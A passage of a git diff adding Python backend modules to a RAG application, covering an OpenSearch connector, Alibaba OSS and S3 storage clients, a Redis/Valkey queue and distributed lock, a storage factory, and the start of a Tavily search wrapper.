+ str(res)) + return res + except Exception as e: + logger.exception(f"OSConnection.search {str(indexNames)} query: " + str(q)) + if str(e).find("Timeout") > 0: + continue + raise e + logger.error(f"OSConnection.search timeout for {ATTEMPT_TIME} times!") + raise Exception("OSConnection.search timeout.") + + def get(self, chunkId: str, indexName: str, knowledgebaseIds: list[str]) -> dict | None: + for i in range(ATTEMPT_TIME): + try: + res = self.os.get(index=(indexName), + id=chunkId, _source=True, ) + if str(res.get("timed_out", "")).lower() == "true": + raise Exception("Es Timeout.") + chunk = res["_source"] + chunk["id"] = chunkId + return chunk + except NotFoundError: + return None + except Exception as e: + logger.exception(f"OSConnection.get({chunkId}) got exception") + if str(e).find("Timeout") > 0: + continue + raise e + logger.error(f"OSConnection.get timeout for {ATTEMPT_TIME} times!") + raise Exception("OSConnection.get timeout.") + + def insert(self, documents: list[dict], indexName: str, knowledgebaseId: str = None) -> list[str]: + # Refers to https://opensearch.org/docs/latest/api-reference/document-apis/bulk/ + operations = [] + for d in documents: + assert "_id" not in d + assert "id" in d + d_copy = copy.deepcopy(d) + meta_id = d_copy.pop("id", "") + operations.append( + {"index": {"_index": indexName, "_id": meta_id}}) + operations.append(d_copy) + + res = [] + for _ in range(ATTEMPT_TIME): + try: + res = [] + r = self.os.bulk(index=(indexName), body=operations, + refresh=False, timeout=60) + if re.search(r"False", str(r["errors"]), re.IGNORECASE): + return res + + for item in r["items"]: + for action in ["create", "delete", "index", "update"]: + if action in item and "error" in item[action]: + res.append(str(item[action]["_id"]) + ":" + str(item[action]["error"])) + return res + except Exception as e: + res.append(str(e)) + logger.warning("OSConnection.insert got exception: " + str(e)) + res = [] + if re.search(r"(Timeout|time out)", str(e), re.IGNORECASE): + res.append(str(e)) + time.sleep(3) + continue + return res + + def update(self, condition: dict, newValue: dict, indexName: str, knowledgebaseId: str) -> bool: + doc = copy.deepcopy(newValue) + doc.pop("id", None) + if "id" in condition and isinstance(condition["id"], str): + # update specific single document + chunkId = condition["id"] + for i in range(ATTEMPT_TIME): + try: + self.os.update(index=indexName, id=chunkId, body={"doc":doc}) + return True + except Exception as e: + logger.exception( + f"OSConnection.update(index={indexName}, id={id}, doc={json.dumps(condition, ensure_ascii=False)}) got exception") + if re.search(r"(timeout|connection)", str(e).lower()): + continue + break + return False + + # update unspecific maybe-multiple documents + bqry = Q("bool") + for k, v in condition.items(): + if not isinstance(k, str) or not v: + continue + if k == "exists": + bqry.filter.append(Q("exists", field=v)) + continue + if isinstance(v, list): + bqry.filter.append(Q("terms", **{k: v})) + elif isinstance(v, str) or isinstance(v, int): + bqry.filter.append(Q("term", **{k: v})) + else: + raise Exception( + f"Condition `{str(k)}={str(v)}` value type is {str(type(v))}, expected to be int, str or list.") + scripts = [] + params = {} + for k, v in newValue.items(): + if k == "remove": + if isinstance(v, str): + scripts.append(f"ctx._source.remove('{v}');") + if isinstance(v, dict): + for kk, vv in v.items(): + scripts.append(f"int i=ctx._source.{kk}.indexOf(params.p_{kk});ctx._source.{kk}.remove(i);") + params[f"p_{kk}"] = vv + continue + if k == "add": + if isinstance(v, dict): + for kk, vv in v.items(): + scripts.append(f"ctx._source.{kk}.add(params.pp_{kk});") + params[f"pp_{kk}"] = vv.strip() + continue + if (not isinstance(k, str) or not v) and k != "available_int": + continue + if isinstance(v, str): + v = re.sub(r"(['\n\r]|\\.)", " ", v) + params[f"pp_{k}"] = v + scripts.append(f"ctx._source.{k}=params.pp_{k};") + elif isinstance(v, int) or isinstance(v, float): + scripts.append(f"ctx._source.{k}={v};") + elif isinstance(v, list): + scripts.append(f"ctx._source.{k}=params.pp_{k};") + params[f"pp_{k}"] = json.dumps(v, ensure_ascii=False) + else: + raise Exception( + f"newValue `{str(k)}={str(v)}` value type is {str(type(v))}, expected to be int, str.") + ubq = UpdateByQuery( + index=indexName).using( + self.os).query(bqry) + ubq = ubq.script(source="".join(scripts), params=params) + ubq = ubq.params(refresh=True) + ubq = ubq.params(slices=5) + ubq = ubq.params(conflicts="proceed") + + for _ in range(ATTEMPT_TIME): + try: + _ = ubq.execute() + return True + except Exception as e: + logger.error("OSConnection.update got exception: " + str(e) + "\n".join(scripts)) + if re.search(r"(timeout|connection|conflict)", str(e).lower()): + continue + break + return False + + def delete(self, condition: dict, indexName: str, knowledgebaseId: str) -> int: + qry = None + assert "_id" not in condition + if "id" in condition: + chunk_ids = condition["id"] + if not isinstance(chunk_ids, list): + chunk_ids = [chunk_ids] + if not chunk_ids: # when chunk_ids is empty, delete all + qry = Q("match_all") + else: + qry = Q("ids", values=chunk_ids) + else: + qry = Q("bool") + for k, v in condition.items(): + if k == "exists": + qry.filter.append(Q("exists", field=v)) + + elif k == "must_not": + if isinstance(v, dict): + for kk, vv in v.items(): + if kk == "exists": + qry.must_not.append(Q("exists", field=vv)) + + elif isinstance(v, list): + qry.must.append(Q("terms", **{k: v})) + elif isinstance(v, str) or isinstance(v, int): + qry.must.append(Q("term", **{k: v})) + else: + raise Exception("Condition value must be int, str or list.") + logger.debug("OSConnection.delete query: " + json.dumps(qry.to_dict())) + for _ in range(ATTEMPT_TIME): + try: + #print(Search().query(qry).to_dict(), flush=True) + res = self.os.delete_by_query( + index=indexName, + body=Search().query(qry).to_dict(), + refresh=True) + return res["deleted"] + except Exception as e: + logger.warning("OSConnection.delete got exception: " + str(e)) + if re.search(r"(timeout|connection)", str(e).lower()): + time.sleep(3) + continue + if re.search(r"(not_found)", str(e), re.IGNORECASE): + return 0 + return 0 + + """ + Helper functions for search result + """ + + def getTotal(self, res): + if isinstance(res["hits"]["total"], type({})): + return res["hits"]["total"]["value"] + return res["hits"]["total"] + + def getChunkIds(self, res): + return [d["_id"] for d in res["hits"]["hits"]] + + def __getSource(self, res): + rr = [] + for d in res["hits"]["hits"]: + d["_source"]["id"] = d["_id"] + d["_source"]["_score"] = d["_score"] + rr.append(d["_source"]) + return rr + + def getFields(self, res, fields: list[str]) -> dict[str, dict]: + res_fields = {} + if not fields: + return {} + for d in self.__getSource(res): + m = {n: d.get(n) for n in fields if d.get(n) is not None} + for n, v in m.items(): + if isinstance(v, list): + m[n] = v + continue + if not isinstance(v, str): + m[n] = str(m[n]) + # if n.find("tks") > 0: + # m[n] = rmSpace(m[n]) + + if m: + res_fields[d["id"]] = m + return res_fields + + def getHighlight(self, res, keywords: list[str], fieldnm: str): + ans = {} + for d in res["hits"]["hits"]: + hlts = d.get("highlight") + if not hlts: + continue + txt = "...".join([a for a in list(hlts.items())[0][1]]) + if not is_english(txt.split()): + ans[d["_id"]] = txt + continue + + txt = d["_source"][fieldnm] + txt = re.sub(r"[\r\n]", " ", txt, flags=re.IGNORECASE | re.MULTILINE) + txts = [] + for t in re.split(r"[.?!;\n]", txt): + for w in keywords: + t = re.sub(r"(^|[ .?/'\"\(\)!,:;-])(%s)([ .?/'\"\(\)!,:;-])" % re.escape(w), r"\1<em>\2</em>\3", t, + flags=re.IGNORECASE | re.MULTILINE) + if not re.search(r"<em>[^<>]+</em>", t, flags=re.IGNORECASE | re.MULTILINE): + continue + txts.append(t) + ans[d["_id"]] = "...".join(txts) if txts else "...".join([a for a in list(hlts.items())[0][1]]) + + return ans + + def getAggregation(self, res, fieldnm: str): + agg_field = "aggs_" + fieldnm + if "aggregations" not in res or agg_field not in res["aggregations"]: + return list() + bkts = res["aggregations"][agg_field]["buckets"] + return [(b["key"], b["doc_count"]) for b in bkts] + + """ + SQL + """ + + def sql(self, sql: str, fetch_size: int, format: str): + logger.debug(f"OSConnection.sql get sql: {sql}") + sql = re.sub(r"[ `]+", " ", sql) + sql = sql.replace("%", "") + replaces = [] + for r in re.finditer(r" ([a-z_]+_l?tks)( like | ?= ?)'([^']+)'", sql): + fld, v = r.group(1), r.group(3) + match = " MATCH({}, '{}', 'operator=OR;minimum_should_match=30%') ".format( + fld, rag_tokenizer.fine_grained_tokenize(rag_tokenizer.tokenize(v))) + replaces.append( + ("{}{}'{}'".format( + r.group(1), + r.group(2), + r.group(3)), + match)) + + for p, r in replaces: + sql = sql.replace(p, r, 1) + logger.debug(f"OSConnection.sql to os: {sql}") + + for i in range(ATTEMPT_TIME): + try: + res = self.os.sql.query(body={"query": sql, "fetch_size": fetch_size}, format=format, + request_timeout="2s") + return res + except ConnectionTimeout: + logger.exception("OSConnection.sql timeout") + continue + except Exception: + logger.exception("OSConnection.sql got exception") + return None + logger.error(f"OSConnection.sql timeout for {ATTEMPT_TIME} times!") + return None diff --git a/rag/utils/oss_conn.py b/rag/utils/oss_conn.py new file mode 100644 index 0000000..a88eb9d --- /dev/null +++ b/rag/utils/oss_conn.py @@ -0,0 +1,174 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import logging +import boto3 +from botocore.exceptions import ClientError +from botocore.config import Config +import time +from io import BytesIO +from rag.utils import singleton +from rag import settings + + +@singleton +class RAGFlowOSS: + def __init__(self): + self.conn = None + self.oss_config = settings.OSS + self.access_key = self.oss_config.get('access_key', None) + self.secret_key = self.oss_config.get('secret_key', None) + self.endpoint_url = self.oss_config.get('endpoint_url', None) + self.region = self.oss_config.get('region', None) + self.bucket = self.oss_config.get('bucket', None) + self.prefix_path = self.oss_config.get('prefix_path', None) + self.__open__() + + @staticmethod + def use_default_bucket(method): + def wrapper(self, bucket, *args, **kwargs): + # If there is a default bucket, use the default bucket + actual_bucket = self.bucket if self.bucket else bucket + return method(self, actual_bucket, *args, **kwargs) + return wrapper + + @staticmethod + def use_prefix_path(method): + def wrapper(self, bucket, fnm, *args, **kwargs): + # If the prefix path is set, use the prefix path + fnm = f"{self.prefix_path}/{fnm}" if self.prefix_path else fnm + return method(self, bucket, fnm, *args, **kwargs) + return wrapper + + def __open__(self): + try: + if self.conn: + self.__close__() + except Exception: + pass + + try: + # Reference：https://help.aliyun.com/zh/oss/developer-reference/use-amazon-s3-sdks-to-access-oss + self.conn = boto3.client( + 's3', + region_name=self.region, + aws_access_key_id=self.access_key, + aws_secret_access_key=self.secret_key, + endpoint_url=self.endpoint_url, + config=Config(s3={"addressing_style": "virtual"}, signature_version='v4') + ) + except Exception: + logging.exception(f"Fail to connect at region {self.region}") + + def __close__(self): + del self.conn + self.conn = None + + @use_default_bucket + def bucket_exists(self, bucket): + try: + logging.debug(f"head_bucket bucketname {bucket}") + self.conn.head_bucket(Bucket=bucket) + exists = True + except ClientError: + logging.exception(f"head_bucket error {bucket}") + exists = False + return exists + + def health(self): + bucket = self.bucket + fnm = "txtxtxtxt1" + fnm, binary = f"{self.prefix_path}/{fnm}" if self.prefix_path else fnm, b"_t@@@1" + if not self.bucket_exists(bucket): + self.conn.create_bucket(Bucket=bucket) + logging.debug(f"create bucket {bucket} ********") + + r = self.conn.upload_fileobj(BytesIO(binary), bucket, fnm) + return r + + def get_properties(self, bucket, key): + return {} + + def list(self, bucket, dir, recursive=True): + return [] + + @use_prefix_path + @use_default_bucket + def put(self, bucket, fnm, binary): + logging.debug(f"bucket name {bucket}; filename :{fnm}:") + for _ in range(1): + try: + if not self.bucket_exists(bucket): + self.conn.create_bucket(Bucket=bucket) + logging.info(f"create bucket {bucket} ********") + r = self.conn.upload_fileobj(BytesIO(binary), bucket, fnm) + + return r + except Exception: + logging.exception(f"Fail put {bucket}/{fnm}") + self.__open__() + time.sleep(1) + + @use_prefix_path + @use_default_bucket + def rm(self, bucket, fnm): + try: + self.conn.delete_object(Bucket=bucket, Key=fnm) + except Exception: + logging.exception(f"Fail rm {bucket}/{fnm}") + + @use_prefix_path + @use_default_bucket + def get(self, bucket, fnm): + for _ in range(1): + try: + r = self.conn.get_object(Bucket=bucket, Key=fnm) + object_data = r['Body'].read() + return object_data + except Exception: + logging.exception(f"fail get {bucket}/{fnm}") + self.__open__() + time.sleep(1) + return + + @use_prefix_path + @use_default_bucket + def obj_exist(self, bucket, fnm): + try: + if self.conn.head_object(Bucket=bucket, Key=fnm): + return True + except ClientError as e: + if e.response['Error']['Code'] == '404': + return False + else: + raise + + @use_prefix_path + @use_default_bucket + def get_presigned_url(self, bucket, fnm, expires): + for _ in range(10): + try: + r = self.conn.generate_presigned_url('get_object', + Params={'Bucket': bucket, + 'Key': fnm}, + ExpiresIn=expires) + + return r + except Exception: + logging.exception(f"fail get url {bucket}/{fnm}") + self.__open__() + time.sleep(1) + return + diff --git a/rag/utils/redis_conn.py b/rag/utils/redis_conn.py new file mode 100644 index 0000000..17248db --- /dev/null +++ b/rag/utils/redis_conn.py @@ -0,0 +1,393 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import json +import uuid + +import valkey as redis +from rag import settings +from rag.utils import singleton +from valkey.lock import Lock +import trio + +class RedisMsg: + def __init__(self, consumer, queue_name, group_name, msg_id, message): + self.__consumer = consumer + self.__queue_name = queue_name + self.__group_name = group_name + self.__msg_id = msg_id + self.__message = json.loads(message["message"]) + + def ack(self): + try: + self.__consumer.xack(self.__queue_name, self.__group_name, self.__msg_id) + return True + except Exception as e: + logging.warning("[EXCEPTION]ack" + str(self.__queue_name) + "||" + str(e)) + return False + + def get_message(self): + return self.__message + + def get_msg_id(self): + return self.__msg_id + + +@singleton +class RedisDB: + lua_delete_if_equal = None + LUA_DELETE_IF_EQUAL_SCRIPT = """ + local current_value = redis.call('get', KEYS[1]) + if current_value and current_value == ARGV[1] then + redis.call('del', KEYS[1]) + return 1 + end + return 0 + """ + + def __init__(self): + self.REDIS = None + self.config = settings.REDIS + self.__open__() + + def register_scripts(self) -> None: + cls = self.__class__ + client = self.REDIS + cls.lua_delete_if_equal = client.register_script(cls.LUA_DELETE_IF_EQUAL_SCRIPT) + + def __open__(self): + try: + self.REDIS = redis.StrictRedis( + host=self.config["host"].split(":")[0], + port=int(self.config.get("host", ":6379").split(":")[1]), + db=int(self.config.get("db", 1)), + password=self.config.get("password"), + decode_responses=True, + ) + self.register_scripts() + except Exception: + logging.warning("Redis can't be connected.") + return self.REDIS + + def health(self): + self.REDIS.ping() + a, b = "xx", "yy" + self.REDIS.set(a, b, 3) + + if self.REDIS.get(a) == b: + return True + + def info(self): + info = self.REDIS.info() + return { + 'redis_version': info["redis_version"], + 'server_mode': info["server_mode"], + 'used_memory': info["used_memory_human"], + 'total_system_memory': info["total_system_memory_human"], + 'mem_fragmentation_ratio': info["mem_fragmentation_ratio"], + 'connected_clients': info["connected_clients"], + 'blocked_clients': info["blocked_clients"], + 'instantaneous_ops_per_sec': info["instantaneous_ops_per_sec"], + 'total_commands_processed': info["total_commands_processed"] + } + + def is_alive(self): + return self.REDIS is not None + + def exist(self, k): + if not self.REDIS: + return + try: + return self.REDIS.exists(k) + except Exception as e: + logging.warning("RedisDB.exist " + str(k) + " got exception: " + str(e)) + self.__open__() + + def get(self, k): + if not self.REDIS: + return + try: + return self.REDIS.get(k) + except Exception as e: + logging.warning("RedisDB.get " + str(k) + " got exception: " + str(e)) + self.__open__() + + def set_obj(self, k, obj, exp=3600): + try: + self.REDIS.set(k, json.dumps(obj, ensure_ascii=False), exp) + return True + except Exception as e: + logging.warning("RedisDB.set_obj " + str(k) + " got exception: " + str(e)) + self.__open__() + return False + + def set(self, k, v, exp=3600): + try: + self.REDIS.set(k, v, exp) + return True + except Exception as e: + logging.warning("RedisDB.set " + str(k) + " got exception: " + str(e)) + self.__open__() + return False + + def sadd(self, key: str, member: str): + try: + self.REDIS.sadd(key, member) + return True + except Exception as e: + logging.warning("RedisDB.sadd " + str(key) + " got exception: " + str(e)) + self.__open__() + return False + + def srem(self, key: str, member: str): + try: + self.REDIS.srem(key, member) + return True + except Exception as e: + logging.warning("RedisDB.srem " + str(key) + " got exception: " + str(e)) + self.__open__() + return False + + def smembers(self, key: str): + try: + res = self.REDIS.smembers(key) + return res + except Exception as e: + logging.warning( + "RedisDB.smembers " + str(key) + " got exception: " + str(e) + ) + self.__open__() + return None + + def zadd(self, key: str, member: str, score: float): + try: + self.REDIS.zadd(key, {member: score}) + return True + except Exception as e: + logging.warning("RedisDB.zadd " + str(key) + " got exception: " + str(e)) + self.__open__() + return False + + def zcount(self, key: str, min: float, max: float): + try: + res = self.REDIS.zcount(key, min, max) + return res + except Exception as e: + logging.warning("RedisDB.zcount " + str(key) + " got exception: " + str(e)) + self.__open__() + return 0 + + def zpopmin(self, key: str, count: int): + try: + res = self.REDIS.zpopmin(key, count) + return res + except Exception as e: + logging.warning("RedisDB.zpopmin " + str(key) + " got exception: " + str(e)) + self.__open__() + return None + + def zrangebyscore(self, key: str, min: float, max: float): + try: + res = self.REDIS.zrangebyscore(key, min, max) + return res + except Exception as e: + logging.warning( + "RedisDB.zrangebyscore " + str(key) + " got exception: " + str(e) + ) + self.__open__() + return None + + def transaction(self, key, value, exp=3600): + try: + pipeline = self.REDIS.pipeline(transaction=True) + pipeline.set(key, value, exp, nx=True) + pipeline.execute() + return True + except Exception as e: + logging.warning( + "RedisDB.transaction " + str(key) + " got exception: " + str(e) + ) + self.__open__() + return False + + def queue_product(self, queue, message) -> bool: + for _ in range(3): + try: + payload = {"message": json.dumps(message)} + self.REDIS.xadd(queue, payload) + return True + except Exception as e: + logging.exception( + "RedisDB.queue_product " + str(queue) + " got exception: " + str(e) + ) + self.__open__() + return False + + def queue_consumer(self, queue_name, group_name, consumer_name, msg_id=b">") -> RedisMsg: + """https://redis.io/docs/latest/commands/xreadgroup/""" + for _ in range(3): + try: + + try: + group_info = self.REDIS.xinfo_groups(queue_name) + if not any(gi["name"] == group_name for gi in group_info): + self.REDIS.xgroup_create(queue_name, group_name, id="0", mkstream=True) + except redis.exceptions.ResponseError as e: + if "no such key" in str(e).lower(): + self.REDIS.xgroup_create(queue_name, group_name, id="0", mkstream=True) + elif "busygroup" in str(e).lower(): + logging.warning("Group already exists, continue.") + pass + else: + raise + + args = { + "groupname": group_name, + "consumername": consumer_name, + "count": 1, + "block": 5, + "streams": {queue_name: msg_id}, + } + messages = self.REDIS.xreadgroup(**args) + if not messages: + return None + stream, element_list = messages[0] + if not element_list: + return None + msg_id, payload = element_list[0] + res = RedisMsg(self.REDIS, queue_name, group_name, msg_id, payload) + return res + except Exception as e: + if str(e) == 'no such key': + pass + else: + logging.exception( + "RedisDB.queue_consumer " + + str(queue_name) + + " got exception: " + + str(e) + ) + self.__open__() + return None + + def get_unacked_iterator(self, queue_names: list[str], group_name, consumer_name): + try: + for queue_name in queue_names: + try: + group_info = self.REDIS.xinfo_groups(queue_name) + except Exception as e: + if str(e) == 'no such key': + logging.warning(f"RedisDB.get_unacked_iterator queue {queue_name} doesn't exist") + continue + if not any(gi["name"] == group_name for gi in group_info): + logging.warning(f"RedisDB.get_unacked_iterator queue {queue_name} group {group_name} doesn't exist") + continue + current_min = 0 + while True: + payload = self.queue_consumer(queue_name, group_name, consumer_name, current_min) + if not payload: + break + current_min = payload.get_msg_id() + logging.info(f"RedisDB.get_unacked_iterator {queue_name} {consumer_name} {current_min}") + yield payload + except Exception: + logging.exception( + "RedisDB.get_unacked_iterator got exception: " + ) + self.__open__() + + def get_pending_msg(self, queue, group_name): + try: + messages = self.REDIS.xpending_range(queue, group_name, '-', '+', 10) + return messages + except Exception as e: + if 'No such key' not in (str(e) or ''): + logging.warning( + "RedisDB.get_pending_msg " + str(queue) + " got exception: " + str(e) + ) + return [] + + def requeue_msg(self, queue: str, group_name: str, msg_id: str): + for _ in range(3): + try: + messages = self.REDIS.xrange(queue, msg_id, msg_id) + if messages: + self.REDIS.xadd(queue, messages[0][1]) + self.REDIS.xack(queue, group_name, msg_id) + except Exception as e: + logging.warning( + "RedisDB.get_pending_msg " + str(queue) + " got exception: " + str(e) + ) + self.__open__() + + def queue_info(self, queue, group_name) -> dict | None: + for _ in range(3): + try: + groups = self.REDIS.xinfo_groups(queue) + for group in groups: + if group["name"] == group_name: + return group + except Exception as e: + logging.warning( + "RedisDB.queue_info " + str(queue) + " got exception: " + str(e) + ) + self.__open__() + return None + + def delete_if_equal(self, key: str, expected_value: str) -> bool: + """ + Do following atomically: + Delete a key if its value is equals to the given one, do nothing otherwise. + """ + return bool(self.lua_delete_if_equal(keys=[key], args=[expected_value], client=self.REDIS)) + + def delete(self, key) -> bool: + try: + self.REDIS.delete(key) + return True + except Exception as e: + logging.warning("RedisDB.delete " + str(key) + " got exception: " + str(e)) + self.__open__() + return False + + +REDIS_CONN = RedisDB() + + +class RedisDistributedLock: + def __init__(self, lock_key, lock_value=None, timeout=10, blocking_timeout=1): + self.lock_key = lock_key + if lock_value: + self.lock_value = lock_value + else: + self.lock_value = str(uuid.uuid4()) + self.timeout = timeout + self.lock = Lock(REDIS_CONN.REDIS, lock_key, timeout=timeout, blocking_timeout=blocking_timeout) + + def acquire(self): + REDIS_CONN.delete_if_equal(self.lock_key, self.lock_value) + return self.lock.acquire(token=self.lock_value) + + async def spin_acquire(self): + REDIS_CONN.delete_if_equal(self.lock_key, self.lock_value) + while True: + if self.lock.acquire(token=self.lock_value): + break + await trio.sleep(10) + + def release(self): + REDIS_CONN.delete_if_equal(self.lock_key, self.lock_value) diff --git a/rag/utils/s3_conn.py b/rag/utils/s3_conn.py new file mode 100644 index 0000000..2a1e081 --- /dev/null +++ b/rag/utils/s3_conn.py @@ -0,0 +1,208 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import boto3 +from botocore.exceptions import ClientError +from botocore.config import Config +import time +from io import BytesIO +from rag.utils import singleton +from rag import settings + +@singleton +class RAGFlowS3: + def __init__(self): + self.conn = None + self.s3_config = settings.S3 + self.access_key = self.s3_config.get('access_key', None) + self.secret_key = self.s3_config.get('secret_key', None) + self.session_token = self.s3_config.get('session_token', None) + self.region_name = self.s3_config.get('region_name', None) + self.endpoint_url = self.s3_config.get('endpoint_url', None) + self.signature_version = self.s3_config.get('signature_version', None) + self.addressing_style = self.s3_config.get('addressing_style', None) + self.bucket = self.s3_config.get('bucket', None) + self.prefix_path = self.s3_config.get('prefix_path', None) + self.__open__() + + @staticmethod + def use_default_bucket(method): + def wrapper(self, bucket, *args, **kwargs): + # If there is a default bucket, use the default bucket + actual_bucket = self.bucket if self.bucket else bucket + return method(self, actual_bucket, *args, **kwargs) + return wrapper + + @staticmethod + def use_prefix_path(method): + def wrapper(self, bucket, fnm, *args, **kwargs): + # If the prefix path is set, use the prefix path. + # The bucket passed from the upstream call is + # used as the file prefix. This is especially useful when you're using the default bucket + if self.prefix_path: + fnm = f"{self.prefix_path}/{bucket}/{fnm}" + return method(self, bucket, fnm, *args, **kwargs) + return wrapper + + def __open__(self): + try: + if self.conn: + self.__close__() + except Exception: + pass + + try: + s3_params = {} + config_kwargs = {} + # if not set ak/sk, boto3 s3 client would try several ways to do the authentication + # see doc: https://boto3.amazonaws.com/v1/documentation/api/latest/guide/credentials.html#configuring-credentials + if self.access_key and self.secret_key: + s3_params = { + 'aws_access_key_id': self.access_key, + 'aws_secret_access_key': self.secret_key, + 'aws_session_token': self.session_token, + } + if self.region_name: + s3_params['region_name'] = self.region_name + if self.endpoint_url: + s3_params['endpoint_url'] = self.endpoint_url + + # Configure signature_version and addressing_style through Config object + if self.signature_version: + config_kwargs['signature_version'] = self.signature_version + if self.addressing_style: + config_kwargs['s3'] = {'addressing_style': self.addressing_style} + + if config_kwargs: + s3_params['config'] = Config(**config_kwargs) + + self.conn = [boto3.client('s3', **s3_params)] + except Exception: + logging.exception(f"Fail to connect at region {self.region_name} or endpoint {self.endpoint_url}") + + def __close__(self): + del self.conn[0] + self.conn = None + + @use_default_bucket + def bucket_exists(self, bucket, *args, **kwargs): + try: + logging.debug(f"head_bucket bucketname {bucket}") + self.conn[0].head_bucket(Bucket=bucket) + exists = True + except ClientError: + logging.exception(f"head_bucket error {bucket}") + exists = False + return exists + + def health(self): + bucket = self.bucket + fnm = "txtxtxtxt1" + fnm, binary = f"{self.prefix_path}/{fnm}" if self.prefix_path else fnm, b"_t@@@1" + if not self.bucket_exists(bucket): + self.conn[0].create_bucket(Bucket=bucket) + logging.debug(f"create bucket {bucket} ********") + + r = self.conn[0].upload_fileobj(BytesIO(binary), bucket, fnm) + return r + + def get_properties(self, bucket, key): + return {} + + def list(self, bucket, dir, recursive=True): + return [] + + @use_prefix_path + @use_default_bucket + def put(self, bucket, fnm, binary, *args, **kwargs): + logging.debug(f"bucket name {bucket}; filename :{fnm}:") + for _ in range(1): + try: + if not self.bucket_exists(bucket): + self.conn[0].create_bucket(Bucket=bucket) + logging.info(f"create bucket {bucket} ********") + r = self.conn[0].upload_fileobj(BytesIO(binary), bucket, fnm) + + return r + except Exception: + logging.exception(f"Fail put {bucket}/{fnm}") + self.__open__() + time.sleep(1) + + @use_prefix_path + @use_default_bucket + def rm(self, bucket, fnm, *args, **kwargs): + try: + self.conn[0].delete_object(Bucket=bucket, Key=fnm) + except Exception: + logging.exception(f"Fail rm {bucket}/{fnm}") + + @use_prefix_path + @use_default_bucket + def get(self, bucket, fnm, *args, **kwargs): + for _ in range(1): + try: + r = self.conn[0].get_object(Bucket=bucket, Key=fnm) + object_data = r['Body'].read() + return object_data + except Exception: + logging.exception(f"fail get {bucket}/{fnm}") + self.__open__() + time.sleep(1) + return + + @use_prefix_path + @use_default_bucket + def obj_exist(self, bucket, fnm, *args, **kwargs): + try: + if self.conn[0].head_object(Bucket=bucket, Key=fnm): + return True + except ClientError as e: + if e.response['Error']['Code'] == '404': + return False + else: + raise + + @use_prefix_path + @use_default_bucket + def get_presigned_url(self, bucket, fnm, expires, *args, **kwargs): + for _ in range(10): + try: + r = self.conn[0].generate_presigned_url('get_object', + Params={'Bucket': bucket, + 'Key': fnm}, + ExpiresIn=expires) + + return r + except Exception: + logging.exception(f"fail get url {bucket}/{fnm}") + self.__open__() + time.sleep(1) + return + + @use_default_bucket + def rm_bucket(self, bucket, *args, **kwargs): + for conn in self.conn: + try: + if not conn.bucket_exists(bucket): + continue + for o in conn.list_objects_v2(Bucket=bucket): + conn.delete_object(bucket, o.object_name) + conn.delete_bucket(Bucket=bucket) + return + except Exception as e: + logging.error(f"Fail rm {bucket}: " + str(e)) diff --git a/rag/utils/storage_factory.py b/rag/utils/storage_factory.py new file mode 100644 index 0000000..4ac091f --- /dev/null +++ b/rag/utils/storage_factory.py @@ -0,0 +1,53 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import os +from enum import Enum + +from rag.utils.azure_sas_conn import RAGFlowAzureSasBlob +from rag.utils.azure_spn_conn import RAGFlowAzureSpnBlob +from rag.utils.minio_conn import RAGFlowMinio +from rag.utils.opendal_conn import OpenDALStorage +from rag.utils.s3_conn import RAGFlowS3 +from rag.utils.oss_conn import RAGFlowOSS + + +class Storage(Enum): + MINIO = 1 + AZURE_SPN = 2 + AZURE_SAS = 3 + AWS_S3 = 4 + OSS = 5 + OPENDAL = 6 + + +class StorageFactory: + storage_mapping = { + Storage.MINIO: RAGFlowMinio, + Storage.AZURE_SPN: RAGFlowAzureSpnBlob, + Storage.AZURE_SAS: RAGFlowAzureSasBlob, + Storage.AWS_S3: RAGFlowS3, + Storage.OSS: RAGFlowOSS, + Storage.OPENDAL: OpenDALStorage + } + + @classmethod + def create(cls, storage: Storage): + return cls.storage_mapping[storage]() + + +STORAGE_IMPL_TYPE = os.getenv('STORAGE_IMPL', 'MINIO') +STORAGE_IMPL = StorageFactory.create(Storage[STORAGE_IMPL_TYPE]) diff --git a/rag/utils/tavily_conn.py b/rag/utils/tavily_conn.py new file mode 100644 index 0000000..c8eaf4a --- /dev/null +++ b/rag/utils/tavily_conn.py @@ -0,0 +1,68 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +from tavily import TavilyClient +from api.utils import get_uuid +from rag.nlp import rag_tokenizer + + +class Tavily: + def __init__(self, api_key: str): + self.tavily_client = TavilyClient(api_key=api_key) + + def search(self, query): + try: + response = 